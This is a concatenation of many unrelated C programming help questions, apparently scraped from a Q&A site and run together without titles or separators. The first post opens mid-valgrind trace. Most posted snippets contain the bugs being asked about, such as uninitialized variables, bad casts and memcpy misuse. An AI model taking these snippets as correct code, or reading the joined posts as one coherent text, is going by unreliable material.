==10472== by 0x5176F5F: atoi (atoi.c:27)
==10472== by 0x4008EA: main (in /home/ian/a.out)
==10472== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==10472==
==10472==
==10472== Process terminating with default action of signal 11 (SIGSEGV)
==10472== Access not within mapped region at address 0x0
==10472== at 0x517A517: ____strtol_l_internal (strtol_l.c:298)
==10472== by 0x5176F5F: atoi (atoi.c:27)
==10472== by 0x4008EA: main (in /home/ian/a.out)
And here is my code snippet where I believe the error occurs. -b, -s, -n refer to block_size, set_sum, association_num respectively and parameter is of struct type cache which just simply holds the int values of block_size, set_sum, association_num.
while((c = getopt(argc, argv, ":s:b:n:")) != -1){
switch(c){
case 'b':
parameter.block_size = atoi(optarg);
b_size = parameter.block_size;
break;
case 's':
parameter.set_num = atoi(optarg);
num_sets = parameter.set_num;
break;
case 'n':
parameter.associativity = atoi(optarg);
association_num = parameter.associativity;
break;
}
}
The code is for an AVR atamega168xplained mini board, with an ATmega168pb MCU. The shift register I am using is a Texas Instruments TPIC6C595 I have the drain outputs of the shift register connected to the anodes of 8 LEDs. The OE(G) pin of shift register is tied to GND, and CLR tied to 5V. There is a 100nF ceramic capacitor between shift register VCC and GND. SER OUT is left unconnected to anything since I am trying to bit-bang just this one before I move up to chaining shift registers.
What happens is that I get no output from the shift register, all drain outputs are low (tested with multimeter). When I disconnect the SER IN, SRCK, and RCK from the microcontroller i get some flickering on only one of the LEDs which I guess is a result of those pins floating and being in an undefined state. I would have expected at least to get some kind of garbage output even if the code was wrong, but I get more of an output with the microcontroller completely disconnected. I know it is outputting a signal because I can connect it to the LEDS without the shift register and see they are lit up at various levels of intensity but do not have an oscilloscope to be able to actually look at the signals.
This is the code, with the defines for the output port at the top of the file included so it's clear what's being done:
#define DDR_SREG DDRD
#define PORT_SREG PORTD
#define SRCK _BV(PORTD0)
#define RCK _BV(PORTD1)
#define SER _BV(PORTD2)
void display_write(uint8_t data)
{
char i;
PORT_SREG &= ~RCK; // latch low
for (i = 0; i < 8; ++i) {
PORT_SREG &= ~SRCK; // clock low
if (data & 1) // serial out
PORT_SREG |= SER;
else
PORT_SREG &= ~SER;
PORT_SREG |= SRCK; // clock high
data >>= 1; // shift data
}
PORT_SREG |= RCK; // latch high
}
I have a giant nested for-loop, designed to set a large array to its default value. I'm trying to use OpenMP for the first time to parallelize, and have no idea where to begin. I have been reading tutorials, and am afraid the process will be performed independently on N number of cores, instead of N cores divided the process amongst itself for a common output. The code is in C, compiled in Visual Studio v14. Any help for this newbie is appreciated -- thanks! (Attached below is the monster nested for-loop...)
for (j = 0;j < box1; j++)
{
for (k = 0; k < box2; k++)
{
for (l = 0; l < box3; l++)
{
for (m = 0; m < box4; m++)
{
for (x = 0;x < box5; x++)
{
for (y = 0; y < box6; y++)
{
for (xa = 0;xa < box7; xa++)
{
for (xb = 0; xb < box8; xb++)
{
for (nb = 0; nb < memvara; nb++)
{
for (na = 0; na < memvarb; na++)
{
for (nx = 0; nx < memvarc; nx++)
{
for (nx1 = 0; nx1 < memvard; nx1++)
{
for (naa = 0; naa < adirect; naa++)
{
for (nbb = 0; nbb < tdirect; nbb++)
{
for (ncc = 0; ncc < fs; ncc++)
{
for (ndd = 0; ndd < bs; ndd++)
{
for (o = 0; o < outputnum; o++)
{
lookup->n[j][k][l][m][x][y][xa][xb][nb][na][nx][nx1][naa][nbb][ncc][ndd][o] = -3; //set to default value
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
This used to work really well. I loved it. I showed everyone how cool it was. Now it's broke.
M-X gdb,
gdb -i=mi MYPROGRAMNAME,
set args,
run,
screen splits to show output,
C-X o to output screen,
C-X b to get to gdb commandline
BOOM, error message
Cannot switch buffers in a dedicated window.
I don't need the program output at this point and rarely do. I need to control gdb and see the source code but now I cannot use the program output screen to control gdb because it's a "dedicated window?". I have to split the program output screen into two tiny windows. Very sad. I need a drink.
I built a multi-language software image processing program and made it generally available with binaries for Mac OS X and Ubuntu. The binaries have been tested on their respective operating systems and every thing works perfectly. I recently also tried to release binaries for Windows (64 bit) but the GCC (through MinGW-w64) compiler gave me errors for one of the C programs when I create the shared library (dll) file. This did not happen in Mac OS X or Ubuntu. The program now quits unexpectedly when I run it (happens when it reaches the C file in question). Here are the errors and the corresponding line of code in the c file:
warning: passing argument 3 of '_beginthreadex' from incompatible pointer type [enabled by default]
Line 464:
ThreadList[i] = (HANDLE)_beginthreadex( NULL, 0, &ThreadFunc, &ThreadArgs[i] , 0, NULL );
The second and stranger warning:
c:\mingw\x86_64-w64-mingw32\include\process.h:31:29: note:
expected 'unsigned int <*><void *>' but argument is of type 'void * <*><void *>'
_CRTIMP uintptr_t _cdecl _beginthreadex<void *_Security,unsigned _Stacksize,unsigned <_stdcall *_StartAddress> <void *>,void *_ArgList,unsigned _InitFlag,unsigned *_ThrdAddr >;
Line 34:
#include <process.h>
The two warnings seem connected but I have no idea how to fix this. The full C program is here .
I am rounding off some values and then printing them. When I use %f option, they are printed correctly, but using the %d or %i option (even after casting the rounded values to int) is giving a weird output, and I am not able to figure the why of it out.
Any help is much appreciated!
When I use %f:
i = 0;
while(i < n_shapes)
{
ll_x[i] = (int)round((ll_x[i] - min_x)/pitch_x);
ll_y[i] = (int)round((ll_y[i] - min_y)/pitch_y);
ur_x[i] = (int)round((ur_x[i] - min_x)/pitch_x);
ur_y[i] = (int)round((ur_y[i] - min_y)/pitch_y);
printf("%f,%f,%f,%f\n", ll_x[i], ll_y[i], ur_x[i], ur_y[i]);
i++;
}
Output:
115.000000,94.000000,115.000000,101.000000
116.000000,51.000000,117.000000,58.000000
116.000000,60.000000,117.000000,67.000000
116.000000,69.000000,117.000000,75.000000
116.000000,77.000000,117.000000,84.000000
116.000000,86.000000,117.000000,93.000000
116.000000,94.000000,117.000000,101.000000
Now, with %d (or %i):
i = 0;
while(i < n_shapes)
{
ll_x[i] = (int)round((ll_x[i] - min_x)/pitch_x);
ll_y[i] = (int)round((ll_y[i] - min_y)/pitch_y);
ur_x[i] = (int)round((ur_x[i] - min_x)/pitch_x);
ur_y[i] = (int)round((ur_y[i] - min_y)/pitch_y);
printf("%d,%d,%d,%d\n", ll_x[i], ll_y[i], ur_x[i], ur_y[i]);
i++;
}
Output:
1079590912,0,6,-1
1078788096,0,5,-1
1079033856,0,6,-1
1079164928,0,6,-1
1079312384,0,6,-1
1079459840,0,6,-1
1079590912,0,6,-1
Thank you!
Edit: Yes, I realize that using (int) in the printf gives me the right output. I was curious about the values I got when I didn't do so. What does my output when I use %d without casting inside the printf mean?
I know that SystemTimeToTzSpecificLocalTime API can convert from UTC time to local time, but it takes time in SYSTEMTIME format. I'm curious if there is an API that accepts FILETIME format instead?
PS. I know that I can achieve this by using FileTimeToSystemTime() and then SystemTimeToFileTime(). I was just trying to save two steps for converting to SYSTEMTIME and back.
I am trying to get the inverse of a 4x4 square matrix for opengl, so it is a column major matrix. Also I would like to avoid discussions about making my code into loops, it's quite challenging enough to follow without loops.
I wrote some code that can do most basic matrix operations but matrix inverse was kinda rough, I found this answer: inverting a 4x4 matrix
I implemented it in my code
void mat4inverse(mat4* out, const mat4* in)
{
double inv[16], det;
int i;
inv[0] = in->m[5] * in->m[10] * in->m[15] -
in->m[5] * in->m[11] * in->m[14] -
in->m[9] * in->m[6] * in->m[15] +
in->m[9] * in->m[7] * in->m[14] +
in->m[13] * in->m[6] * in->m[11] -
in->m[13] * in->m[7] * in->m[10];
inv[4] = -in->m[4] * in->m[10] * in->m[15] +
in->m[4] * in->m[11] * in->m[14] +
in->m[8] * in->m[6] * in->m[15] -
in->m[8] * in->m[7] * in->m[14] -
in->m[12] * in->m[6] * in->m[11] +
in->m[12] * in->m[7] * in->m[10];
inv[8] = in->m[4] * in->m[9] * in->m[15] -
in->m[4] * in->m[11] * in->m[13] -
in->m[8] * in->m[5] * in->m[15] +
in->m[8] * in->m[7] * in->m[13] +
in->m[12] * in->m[5] * in->m[11] -
in->m[12] * in->m[7] * in->m[9];
inv[12] = -in->m[4] * in->m[9] * in->m[14] +
in->m[4] * in->m[10] * in->m[13] +
in->m[8] * in->m[5] * in->m[14] -
in->m[8] * in->m[6] * in->m[13] -
in->m[12] * in->m[5] * in->m[10] +
in->m[12] * in->m[6] * in->m[9];
inv[1] = -in->m[1] * in->m[10] * in->m[15] +
in->m[1] * in->m[11] * in->m[14] +
in->m[9] * in->m[2] * in->m[15] -
in->m[9] * in->m[3] * in->m[14] -
in->m[13] * in->m[2] * in->m[11] +
in->m[13] * in->m[3] * in->m[10];
inv[5] = in->m[0] * in->m[10] * in->m[15] -
in->m[0] * in->m[11] * in->m[14] -
in->m[8] * in->m[2] * in->m[15] +
in->m[8] * in->m[3] * in->m[14] +
in->m[12] * in->m[2] * in->m[11] -
in->m[12] * in->m[3] * in->m[10];
inv[9] = -in->m[0] * in->m[9] * in->m[15] +
in->m[0] * in->m[11] * in->m[13] +
in->m[8] * in->m[1] * in->m[15] -
in->m[8] * in->m[3] * in->m[13] -
in->m[12] * in->m[1] * in->m[11] +
in->m[12] * in->m[3] * in->m[9];
inv[13] = in->m[0] * in->m[9] * in->m[14] -
in->m[0] * in->m[10] * in->m[13] -
in->m[8] * in->m[1] * in->m[14] +
in->m[8] * in->m[2] * in->m[13] +
in->m[12] * in->m[1] * in->m[10] -
in->m[12] * in->m[2] * in->m[9];
inv[2] = in->m[1] * in->m[6] * in->m[15] -
in->m[1] * in->m[7] * in->m[14] -
in->m[5] * in->m[2] * in->m[15] +
in->m[5] * in->m[3] * in->m[14] +
in->m[13] * in->m[2] * in->m[7] -
in->m[13] * in->m[3] * in->m[6];
inv[6] = -in->m[0] * in->m[6] * in->m[15] +
in->m[0] * in->m[7] * in->m[14] +
in->m[4] * in->m[2] * in->m[15] -
in->m[4] * in->m[3] * in->m[14] -
in->m[12] * in->m[2] * in->m[7] +
in->m[12] * in->m[3] * in->m[6];
inv[10] = in->m[0] * in->m[5] * in->m[15] -
in->m[0] * in->m[7] * in->m[13] -
in->m[4] * in->m[1] * in->m[15] +
in->m[4] * in->m[3] * in->m[13] +
in->m[12] * in->m[1] * in->m[7] -
in->m[12] * in->m[3] * in->m[5];
inv[14] = -in->m[0] * in->m[5] * in->m[14] +
in->m[0] * in->m[6] * in->m[13] +
in->m[4] * in->m[1] * in->m[14] -
in->m[4] * in->m[2] * in->m[13] -
in->m[12] * in->m[1] * in->m[6] +
in->m[12] * in->m[2] * in->m[5];
inv[3] = -in->m[1] * in->m[6] * in->m[11] +
in->m[1] * in->m[7] * in->m[10] +
in->m[5] * in->m[2] * in->m[11] -
in->m[5] * in->m[3] * in->m[10] -
in->m[9] * in->m[2] * in->m[7] +
in->m[9] * in->m[3] * in->m[6];
inv[7] = in->m[0] * in->m[6] * in->m[11] -
in->m[0] * in->m[7] * in->m[10] -
in->m[4] * in->m[2] * in->m[11] +
in->m[4] * in->m[3] * in->m[10] +
in->m[8] * in->m[2] * in->m[7] -
in->m[8] * in->m[3] * in->m[6];
inv[11] = -in->m[0] * in->m[5] * in->m[11] +
in->m[0] * in->m[7] * in->m[9] +
in->m[4] * in->m[1] * in->m[11] -
in->m[4] * in->m[3] * in->m[9] -
in->m[8] * in->m[1] * in->m[7] +
in->m[8] * in->m[3] * in->m[5];
inv[15] = in->m[0] * in->m[5] * in->m[10] -
in->m[0] * in->m[6] * in->m[9] -
in->m[4] * in->m[1] * in->m[10] +
in->m[4] * in->m[2] * in->m[9] +
in->m[8] * in->m[1] * in->m[6] -
in->m[8] * in->m[2] * in->m[5];
det = in->m[0] * inv[0] + in->m[1] * inv[4] + in->m[2] * inv[8] + in->m[3] * inv[12];
if (det == 0)
printf("oh oh!");
det = 1.0 / det;
//printf("\n\ndeterminant:%f\n\n",det);
for (i = 0; i < 16; i++)
out->m[i] = inv[i] * det;
}
I create a matrix that looks like this:
[ 1.000000 3.000000 4.000000 9.000000 ]
[ 5.000000 6.000000 7.000000 2.000000 ]
[ 8.000000 8.000000 8.000000 9.000000 ]
[ 0.000000 0.000000 0.000000 1.000000 ]
after passing it to my transpose function that I listed above the results are:
[ -1.000000 1.000000 -0.375000 10.375000 ]
[ 2.000000 -3.000000 1.625000 -26.625000 ]
[ -1.000000 2.000000 -1.125000 15.125000 ]
[ 0.000000 0.000000 0.000000 1.000000 ]
I am not sure but that seems a bit wrong to me. This is for opengl rendering and my matrix is a 1D 16 double array.
Am I getting correct results?
additional info Here is my math over on code review: http://ift.tt/1gv1XS6
I'm trying to write a deeply optimized Skeleton Animation library. My goal is to get 10000 characters onscreen at 60 fps on my i7. As I working on keyframe animation, I realized I need a binary search algorithm on the timeline to determine which two keyframe should i interpolate. I did this and found that using float to store keyframes is faster than using integer, because at the end i must calculate
(frameNumber-this->frameNumber[imin])/(this->frameNumber[imax]-this->frameNumber[imin])
The conversion from int to float spent some cycles. Then I discovered that in the asm there a a lot of fpu instructions. I'm worrying they might be slower than integer.
So here is the question. Can I convert an array of sorted floating point numbers to an int* and run a binary search on it?
That means:
void binary_search(float key,float* array,...)
{
int key_integer=*(int*)&key;
int* array_intege(int*)array;
binary_search_for_integers(key_integer,array_integer,...);
}
Or my above conclusion are wrong? (Such as casting int to float is not so costy, or comparision between floating points is the same fast as integers?
Thanks a lot!
So I'm emulating an extra instruction in C for the MSP440 called IFcc, where cc is the condition. How it works is if the condition is true, then the 'true instructions' are executed, and the 'false instructions' are skipped, and vice versa if the condition is false. The instruction takes two arguments, TC which is the number of instructions to execute if condition is true, and FC which is the number on instructions to execute if the condition is false. Here is an example of what the assembly code might look like:
CMP &ALPHA,&BETA
IFEQ 2,2 ; Execute the first and second instructions if ALPHA = BETA
; or the third and fourth instructions if ALPHA BETA
MOV #0,&ALPHA ; Executed if ALPHA = BETA
MOV #1,&BETA ; Executed if ALPHA = BETA
MOV &BETA,&ALPHA ; Executed if ALPHA ≠ BETA
ADD #1,&ALPHA ; Executed if ALPHA ≠ BETA
What I'm having trouble figuring out, is how to ignore the instructions that should not be executed. The assembly itself wouldn't be changed to use branches, because the point of the IFcc instruction is to eliminate the necessity for branches. Any help with this would be greatly appreciated.
I have the following:
typedef struct
{
uint8_t BlockID;
uint32_t Copies;
uint16_t Size;
}NVMM_ConfigType;
const NVMM_ConfigType NvmmCnf_Layout[6] =
{
{ 1, 1, 4},
{ 2, 3, 4},
{ 5, 5, 16},
{ 10, 1, 4},
{ 11, 2, 32},
{ 13, 1, 100},
};
Which seems fine to me, but, MISRA-C is giving the following error:
MISRA-C rule 10.3 violation: [R] The value of an expression shall not be assigned to an object with a narrower essential type or of a different essential type category
I've tried to figure out why is this happening but I just can see it. Also the build results are plagued with this errors on similar situations and I dont know why.
Does anybody know what's going on?
Regards.
This program tries to create separate linked list for each line of input.The first line contains the number of testcases and following lines contains the space separated integers as link list elements
Sample input
2
1 2 4 6
3 9 11 12
Expected Output :
LinkList 1 : 1 2 4 6
LinkList 2 : 3 9 11 12
This function puts each space separated integer line into a string and pass it to makelist function
int main()
{
int t;
scanf("%d\n",&t); //number of testcases
int x;
while(t--)
{
struct node *head1=NULL,*head2=NULL;
int i=0,j,k;
int len1=0,len2=0;
char str1[200],str2[200];
fgets(str1,200,stdin); //input first line
fgets(str2,200,stdin); // input second line
len1=strlen(str1);
len2=strlen(str2);
printf("length,of strings %d %d",len1,len2);
makeList(str1,&head1,len1); //fault occurs here
makeList(str2,&head2,len2);
}
}
//program to make linklist from input string
void makeList(char *str,struct node ** head,int len)
{
printf("Inside makelist");
int i ;
struct node *temp, *temp2;
for(i=0;i<len;i++)
{
if((str[i]>=48 )&& (str[i]<=57)) // converting string to integer
{
printf("NUmber found");
temp=makeNode();
temp->val=str[i];
temp->next=NULL;
if(*head==NULL)
*head=temp;
else
{
temp2=*head;
while(temp2->next!=NULL)
temp2=temp2->next;
temp2->next=temp;
}
}
}
printList(*head);
}
//program for allocating memory for new node
struct node *makeNode()
{
struct node *newNode=(struct node *)malloc(sizeof(struct node));
return newNode;
}
I am migrating the Fortran code to C. I would like to know what will be the c equivalent for the following statements T is 2d array dim T (D,D) and T_indices is array of indices in T , T_indices(E) where E< D.
T(T_indices(:),:) = 1/(A/B)*T(T_indices(:),:)
T(:,T_indices(:)) = 1/(A/B)*T(:,T_indices(:))
C interpretation
for (i=0 ; i < E ; i++){
for (j=0 ; j< B ; j++){
T[T_indices[i] * B + j] = 1/(A/B)* T[T_indices[i] * B + j];
T[J * B + T_indices[i]] = 1/(A/B)* T[J * B + T_indices[i]];
}
}
Is this valid interpretation ?
I stumbled across this problem :
"A tourist have a map of dimensions M x N. On the map are plased k cities (k<=2000). Cities' coordinates have that form (lin, col) (lin<=M and col<=N). We know the tourist's coordinates as well. The tourist decided to take in a certain direction and to stop at the edge of the map. But he wants to walk on the direction that makes him walk through as many cities as posible. You have to calculate the maximum number of cities that he can visit."
M, N <= 1000
K<=2000
e.g.
5 10 (M and N)
3 2 (tourist's coordinates)
7 (k = number of cities)
0 0 (coordinates of the cities)
0 8
1 6
2 2
2 4
3 7
4 5
Answer : 3
Actually, the problem requires the maximum number of collinear points that includes the tourist coordonates.
I've found a solution that is O(k^2).
for(i=0; i<k; i++) {
fscanf(fi, "%d%d", &lin[i], &col[i]);
lin[i]-=l; //we consider tourist's coordinates the origin
col[i]-=c;
}
for(i=0; i<k; i++) {
points=1;
for(j=0; j<k; j++) {
...
if(lin[i] * col[j] == lin[j] * col[i]) //verify collinearity
points++;
...
}
But I'm pretty sure that it can be done better than O(k^2). I didn't find any optimizations yet.
I want to track copy/ paste operation using clipboard. I want to know what are the source and destination of data. For this I tried to run the code on this link: http://ift.tt/1M1VElT
I kept getting this error: connect: Connection refused
BTW to run the code I used: Ubuntu 12.4 . gcc 4.6.3
To be honest I don't understand the code very well, so I couldn't fix this problem. I'd be grateful for any comment. Thanks in advance .
There is not a optimal -O level. My approach in order to find the fastest execution for my particular code is to compile the same code with usual optimization levels (i.e. -O0, -Ofast, -O1, -O2, -O3,-march=native) and check which flags produce me the fastest execution (with time).
So, there is a way to check all optimization levels (listed before) running a Makefile with each optimization (-O level)?
I think that Gnu Parallel could run the Makefile changing the -O level but I don't know how figure it out?
Thanks in advance.
Using a local variable in its own initialization usually has no effect but doing it with recursion causes strange values.
#include <stdio.h>
void recurse(int count);
int main()
{
int j = j + 1; // a weird thing to do but its just 1
printf("%d\n", j);
j = j + 1;
printf("%d\n", j);
j = j + 1;
printf("%d\n", j);
recurse(1);
printf("\n");
}
void recurse(int count){
int i = i + 1; // the really weird part
printf("%d ", i);
if(count < 10)
recurse(count + 1);
return;
}
Output:
1
2
3
32737 1 32737 1 1 1 1 1 1 1
The large numbers are not always the same for each execution.
I'm learning C (yes I am a newbie). I was wondering whether there is an instruction or command to recognize the type of the variable.
To be more practical: I have a program which works with integers, i wanna show an error message if the user inserts a real number when running the program.
Hope you can help!
I have searched almost SO & few forums, but unable to figure out. I have not coded this from scratch. I got the code and I am trying to modify as per my requirement.
So firstly credits to original coder. I am ref this : http://ift.tt/1eHn41H
Here he is creating the sine wave for just 1 second. But I am unable to surpass this point. I need to play it for atleast 20seconds.
Here is my code. Hope to get some pointer/help. Thanks in advance. Again thanks to original coder.
WAVFILE_SAMPLES_PER_SECOND = 44100
example.c file
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <errno.h>
#include "wavfile.h"
const int NUM_SAMPLES = (WAVFILE_SAMPLES_PER_SECOND*2);
int main()
{
unsigned long waveform[NUM_SAMPLES*4]; // here I am changing it to 4
double frequency = 440;
int volume = 255;
unsigned long int length = NUM_SAMPLES*4; // here I am changing it to 4
// For one second the length = 88200
unsigned long int i;
for(i=0;i<length;i++) {
long double t = (long double) i / WAVFILE_SAMPLES_PER_SECOND;
waveform[i] = volume*sin(frequency*t*2*M_PI);
}
printf("length=%d\n",length);
FILE * f = wavfile_open("sound.wav");
if(!f) {
printf("couldn't open sound.wav for writing: %s",strerror(errno));
return 1;
}
wavfile_write(f,waveform,length);
wavfile_close(f);
return 0;
}
wave.h file
#ifndef WAVFILE_H
#define WAVFILE_H
#include <stdio.h>
#include <inttypes.h>
FILE * wavfile_open( const char *filename );
void wavfile_write( FILE *file, short data[], int length );
void wavfile_close( FILE * file );
#define WAVFILE_SAMPLES_PER_SECOND 44100
#endif
The file is created successfully. But I am unable to play it in any player. Can any one help. Thanks again
I am trying to setup the I2S peripheral on an LPC4337 device so that it will send and receive audio data in master mode. The problem I am having is that I would like to ensure that both the transmit and receive word select signals (left-right clock) are synchronized. Is there a special function or something that can handle that? Or is it just as simple as setting them up with the same dividers and source clocks? Below are the configuration functions. Thanks!
/* Configure I2S for Audio Format input */
Status Chip_I2S_TxConfig(LPC_I2S_T *pI2S, I2S_AUDIO_FORMAT_T *format)
{
uint32_t temp=0;
uint16_t xDiv, yDiv;
uint32_t N;
if (getClkDiv(pI2S, format, &xDiv, &yDiv, &N) == ERROR) {
return ERROR;
}
//temp = pI2S->DAO & (~(I2S_DAO_WORDWIDTH_MASK | I2S_DAO_MONO | I2S_DAO_SLAVE | I2S_DAO_WS_HALFPERIOD_MASK));
/*if (format->WordWidth <= 8) {
temp |= I2S_WORDWIDTH_8;
}
else if (format->WordWidth <= 16) {
temp |= I2S_WORDWIDTH_16;
}
else {
temp |= I2S_WORDWIDTH_32;
}*/
temp |= I2S_WORDWIDTH_32;
pI2S->DAO = I2S_DAO_WS_HALFPERIOD(format->WordWidth - 1);
temp |=I2S_STEREO; //(format->ChannelNumber) == 1 ? I2S_MONO : I2S_STEREO;
temp |= I2S_MASTER_MODE;
temp |= I2S_DAO_WS_HALFPERIOD(format->WordWidth - 1);
pI2S->DAO = temp;
pI2S->TXMODE = I2S_TXMODE_CLKSEL(0);
pI2S->TXBITRATE = N-1;
pI2S->TXRATE = yDiv | (xDiv << 8);
return SUCCESS;
}
/* Configure I2S for Audio Format input */
Status Chip_I2S_RxConfig(LPC_I2S_T *pI2S, I2S_AUDIO_FORMAT_T *format)
{
uint32_t temp;
uint16_t xDiv, yDiv;
uint32_t N;
if (getClkDiv(pI2S, format, &xDiv, &yDiv, &N) == ERROR) {
return ERROR;
}
temp = pI2S->DAI & (~(I2S_DAI_WORDWIDTH_MASK | I2S_DAI_MONO | I2S_DAI_SLAVE | I2S_DAI_WS_HALFPERIOD_MASK));
if (format->WordWidth <= 8) {
temp |= I2S_WORDWIDTH_8;
}
else if (format->WordWidth <= 16) {
temp |= I2S_WORDWIDTH_16;
}
else {
temp |= I2S_WORDWIDTH_32;
}
temp |= (format->ChannelNumber) == 1 ? I2S_MONO : I2S_STEREO;
temp |= I2S_MASTER_MODE;
temp |= I2S_DAI_WS_HALFPERIOD(format->WordWidth - 1);
pI2S->DAI = temp;
pI2S->RXMODE = I2S_RXMODE_CLKSEL(0);
pI2S->RXBITRATE = N - 1;
pI2S->RXRATE = yDiv | (xDiv << 8);
return SUCCESS;
}
I've set up flex and bison, figured out how to get them to work properly, and also weeded out the bulk of errors which made it into the generated code, now I am convinced that the 3 remaining errors are not my fault:
Error 10 error C2371: 'free' : redefinition; different basic types
Error 8 error C2059: syntax error : '=' path...\parser.tab.c
Error 9 error C2040: 'malloc' : 'void *(size_t)' differs in levels of indirection from 'void *(size_t)' path...\parser.tab.c
The file parser.tab.c is about 1600 lines long, so I don't intend to look for a suspicious '=' through the whole file. Also it redirects to the code in my own files with the #line instruction (didn't even know it existed before) so it would complain about my own files, as it did before.
As I said, there are no line numbers, the field is empty, which is why I sought refuge here, I have no clue where to even look. Double clicking the error doesn't do anything either. It is not an issue with my installation, I opened two other projects in C# and XNA and they behave fine.
Flex and bison have been giving me a real hard time so far, so I can't wait to get them to compile correctly.
Edit: Bison file
%{
#include "lex.yy.c"
#include "stdlib.h"
#define E_IDENTIFIER 300
#define E_FUNCTION 301
int currentBrackets = 0;
%}
%token E_FUNCTION E_IDENTIFIER
%%
expression: E_IDENTIFIER {return E_IDENTIFIER;}
%%
I encountered the following code which is used to get the longest common subsequence of two given strings. It uses recursion and the time complexity was given as 2^n, but I don't know how this result was generated, can anybody help analyzing it, thanks.
/* A Naive recursive implementation of LCS problem */
#include<stdio.h>
#include<stdlib.h>
int max(int a, int b);
/* Returns length of LCS for X[0..m-1], Y[0..n-1] */
int lcs( char *X, char *Y, int m, int n )
{
if (m == 0 || n == 0)
return 0;
if (X[m-1] == Y[n-1])
return 1 + lcs(X, Y, m-1, n-1);
else
return max(lcs(X, Y, m, n-1), lcs(X, Y, m-1, n));
}
/* Utility function to get max of 2 integers */
int max(int a, int b)
{
return (a > b)? a : b;
}
/* Driver program to test above function */
int main()
{
char X[] = "AGGTAB";
char Y[] = "GXTXAYB";
int m = strlen(X);
int n = strlen(Y);
printf("Length of LCS is %d\n", lcs( X, Y, m, n ) );
getchar();
return 0;
}
I would like copy data from flas into RAM (microcontroller) in structure. And I have structure initialization:
typedef struct Day{
long AM : 24;
long PM : 24;
}Day;
struct Data{
unsigned long Lang : 8;
struct Day dawt[7];
}Data;
Load from flash into RAM I have with this function
void LoadFromFlash(){
int count;
memcpy(Data.Lang, F_DATA, 1);
for(count = 0; count < 7; count++){
memcpy(Data.dawt[count].AM, F_DATA, 3);
memcpy(Data.dawt[count].PM, F_DATA, 3);
}
}
I get warning:
passing argument 1 of 'memcpy' makes pointer from integer without a cast
for all mempcy function
and
passing argument 2 of 'memcpy' makes pointer from integer without a cast
for #define statement
#define F_DATA 0x00006000
What's wrong.